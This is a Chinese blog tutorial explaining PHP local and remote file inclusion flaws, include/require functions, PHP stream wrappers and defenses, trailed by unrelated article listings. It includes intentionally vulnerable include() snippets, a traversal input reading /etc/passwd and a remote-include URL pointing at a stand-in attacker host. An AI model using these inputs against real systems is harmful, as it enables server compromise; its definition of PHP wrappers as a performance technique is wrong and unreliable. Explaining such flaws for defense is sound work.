news 2026/4/16 13:40:40

探秘文件包含漏洞:从本地挖掘到远程威胁,PHP伪协议成“帮凶”

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
探秘文件包含漏洞:从本地挖掘到远程威胁,PHP伪协议成“帮凶”

引入

文件包含是编程中常用的一种技术,它允许一个程序包含并执行另一个文件的内容,本意是为了提高代码的复用性和可维护性。然而,当这种包含机制没有得到正确的安全控制时,就可能引发文件包含漏洞。攻击者可以利用这个漏洞,让程序包含并执行恶意文件,从而获取服务器的敏感信息、篡改网站内容甚至控制整个服务器。

文件包含的概念

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含

文件包含含有包含内容包含函数

文件包含的本质:

文件包含机制(如PHP的include、require)默认区分本地路径和远程URL。
如果包含的路径是虚拟机的IP地址或域名(如http://192.168.1.100/malicious.php),物理机会将其视为远程资源,触发RFI行为。

文件包含的两种类型

1)本地文件包含(LFI, Local File Inclusion)
作用:加载服务器本地的文件(如配置文件、日志文件、源代码等)。

本地文件包含(LFI):指的是在服务器端脚本运行时,所包含的文件是位于同一服务器系统内的文件,这里的“同一服务器系统”可以是物理机也可以是虚拟机。只要文件和执行包含操作的脚本处于同一个操作系统实例的文件系统中,就属于本地文件包含。比如在物理机上运行的PHP脚本包含了该物理机硬盘上某个目录下的文件;或者在虚拟机中运行的程序包含了该虚拟机文件系统内的文件。

<?php $file = $_GET['page']; // 用户可控的输入 include($file . '.php'); // 拼接路径并包含 ?>

若用户输入page=../../../../etc/passwd,可能读取系统密码文件。

把物理机当作成服务器,现在包含的文件在物理机上是本地的,如果这个文件的地址不在物理机上,在虚拟机上这个文件是远程文件包含

风险:

泄露敏感信息(如数据库密码、服务器配置)。
结合其他漏洞(如路径遍历)实现越权访问。

2.)远程文件包含(RFI, Remote File Inclusion)
作用:加载远程服务器上的文件(需目标服务器开启allow_url_include=On)。

远程文件包含(RFI):当服务器端脚本允许通过网络协议(如HTTP、FTP等)去包含位于其他服务器(不同的操作系统实例)上的文件时,就构成了远程文件包含。关键在于文件所处的位置是在通过网络才能访问到的另一个独立的服务器上,而不是当前执行脚本所在的服务器系统。

<?php $url = $_GET['url']; include($url); // 直接包含远程URL ?>

若用户输入url=http://attacker.com/malicious.txt,可能执行攻击者控制的代码。

风险:

直接执行远程恶意代码(如Webshell)。
完全控制服务器(如反弹Shell、植入后门)。

特殊情况:

如果物理机和虚拟机之间通过共享文件夹等方式进行文件共享,使得虚拟机上的文件在物理机的文件系统中可以直接访问(就像访问本地硬盘上的文件一样),那么物理机包含该文件时仍然属于本地文件包含。比如在VMware虚拟机中设置了共享文件夹,物理机可以像访问本地磁盘一样访问虚拟机共享出来的文件,此时物理机上的脚本包含该共享文件就不是远程文件包含。

文件包含漏洞产生的原因

随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的 方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理 的校验或者校验被绕过就造成了文件包含漏洞。

文件包含漏洞分类

1)本地文件包含漏洞(LIF):当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。

2)远程文件包含漏洞(RLF):本地文件包含和远程文件包含造成漏洞的原因是一 样的,当php.ini 中的配置选项allow_url_fopen和allow_url_include(默认是 关闭的)为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形 成了远程文件包含漏洞。

包含文件的函数

1、include:

当使用该函数包含文件时,只有代码执行到include()函数时才将文件包
含进来发生错误时之给出一个警告,继续向下执行。
演示:
当我们引入不存在的包含文件,
结果显示代码第三行(也就是include那行)报错并继续向下执行

2、include_once:

功能与Include()相同,区别在于当重复调用同一文件时,程序只
调用一次

3、require:

require()与include()的区别在于require( )执行如果发生错误,函数会
输出错误信
当我们使用require()包含文件时
结果显示第四行代码报错(也就是require那行)并且不往下运行

4、require_once:

功能与require()相同,区别在于当重复调用同一文件时,程序只
调用一次

文件包含漏洞挖掘

其实在文件包含在URL中能够明显的看出来,但是不代表含有这些特征就一 定有文件包含漏洞。只不过有这些特征可以进行判断是存在文件包含的,但是能不能利用是另一方面。
http://www.xxx.com/index.php/?name=x.php
http://www.xxx.com/index.php/?file=index2
在计算机文件路径中,/../ 和 \..\ 都用于表示向上回溯到父目录,但它们的适用场景和底层逻辑存在差异,尤其在跨平台兼容性和安全风险方面需要特别注意。
\..\上一层目录(文件资源管理器上的)
/../完全兼容(HTTP/FTP等协议)

本地文件包含漏洞利用技巧

1)上传利用文件

攻击者可以上传一个包含恶意代码的文件到服务器,然后利用本地文件包含漏洞来执行该文件。例如,攻击者上传一个包含 PHP 代码的文件,通过构造包含该文件的路径,使服务器执行其中的恶意代码,如获取服务器敏感信息或执行系统命令等。

2)日志文件注入

许多 Web 服务器会记录用户的访问信息到日志文件中。攻击者可以通过构造特殊的请求,将恶意代码注入到日志文件里,再利用本地文件包含漏洞包含该日志文件,从而执行注入的恶意代码。

PHP伪协议

PHP伪协议(PHP Protocol Override)是一种在PHP处理数据时,通过替换数据 报的头部信息来欺骗网络协议的方式来提高性能的技术。

1)PHP 支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
phar:// — PHP 归档
rar:// — RAR
ogg:// — 音频流
ssh2:// — Secure Shell 2
php://filter是一种元封装器,这个伪协议提供了对数据流进行过滤的能力,
可以对输入数据进行编码、解码、加密、解密等各种操作
php://filter 和 php://input
php://filter 用于读取源码
php://input 用于执行php代码

2)PHP伪协议的使用条件
在PHP配置中,有两个参数与伪协议的使用密切相关:

allow_url_fopen:默认值为On,允许URL里的封装协议访问文件。
allow_url_include:默认值为Off,不允许包含URL里的封装协议包含文件

3)PHP伪协议的使用方式
读取文件内容:

使用file://协议读取本地文件内容。
使用php://filter协议读取文件内容,并进行编码或过滤处理。

执行PHP代码:

使用php://input协议读取POST请求的原始数据,并执行其中的PHP代码。
使用data://协议直接在URL中嵌入PHP代码并执行。

访问压缩文件内容:

使用zip://、phar://等协议访问压缩文件中的子文件内容。

防范措施

1) 输入验证

对用户输入的文件路径进行严格的验证和过滤,只允许包含白名单内的文件,避免用户输入包含PHP伪协议的恶意路径。

2)禁用不必要的协议

在PHP配置文件中禁用不必要的伪协议,减少攻击面。例如,在 php.ini 中设置 allow_url_include = Off ,禁止远程文件包含和部分伪协议的使用。

3)错误处理

合理处理错误信息,避免泄露敏感信息。当出现文件包含错误时,不要直接向用户显示详细的错误信息,防止攻击者利用错误信息进行进一步的攻击。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 2:09:53

基于springboot房屋租赁管理系统(源码+lw+部署文档+讲解等)

课题介绍本课题聚焦房屋租赁行业传统管理模式中信息不对称、租赁流程繁琐、合同管理不规范、租金监管缺失等痛点&#xff0c;设计并实现基于Spring Boot框架的房屋租赁管理系统。系统以Spring Boot为后端核心开发框架&#xff0c;整合MyBatis-Plus实现租赁数据高效持久化&#…

作者头像 李华
网站建设 2026/4/16 13:35:00

国密算法开发实战:基于GMSSL快速集成SM2、SM3、SM4加密体系!

随着国家密码标准在各行业的深入推广&#xff0c;SM2、SM3、SM4算法已成为构建安全系统的基石。借助GMSSL这一轻量级、高兼容性的开源密码库&#xff0c;开发者能够以较低成本实现三大国密算法的工程化落地。聚焦于SM2非对称加密、SM3哈希摘要与SM4对称加密在实际项目中的协同应…

作者头像 李华
网站建设 2026/4/15 6:00:53

STM32F103 学习笔记-21-串口通信(第1节)-串口通信协议简介

引言 上节章我们讲解了通信的基本概念&#xff0c;包括并行通信、串行通信、同步和异步通信等。本章&#xff0c;我们正式进入串口通信的学习。串口通信是嵌入式开发中最常用的通信方式之一&#xff0c;理解其原理对后续实践至关重要。本节重点讲解串口通信协议的理论部分&…

作者头像 李华
网站建设 2026/4/12 0:27:41

【课程设计/毕业设计】基于springboot的课程互助学习系统 “课程答疑、资源共享、组队学习” 一体化平台【附源码、数据库、万字文档】

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华
网站建设 2026/4/16 12:23:36

Java计算机毕设之基于springboot的课程互助学习系统课程资料共享、问题答疑、小组协作、学习进度跟踪(完整前后端代码+说明文档+LW,调试定制等)

博主介绍&#xff1a;✌️码农一枚 &#xff0c;专注于大学生项目实战开发、讲解和毕业&#x1f6a2;文撰写修改等。全栈领域优质创作者&#xff0c;博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java、小程序技术领域和毕业项目实战 ✌️技术范围&#xff1a;&am…

作者头像 李华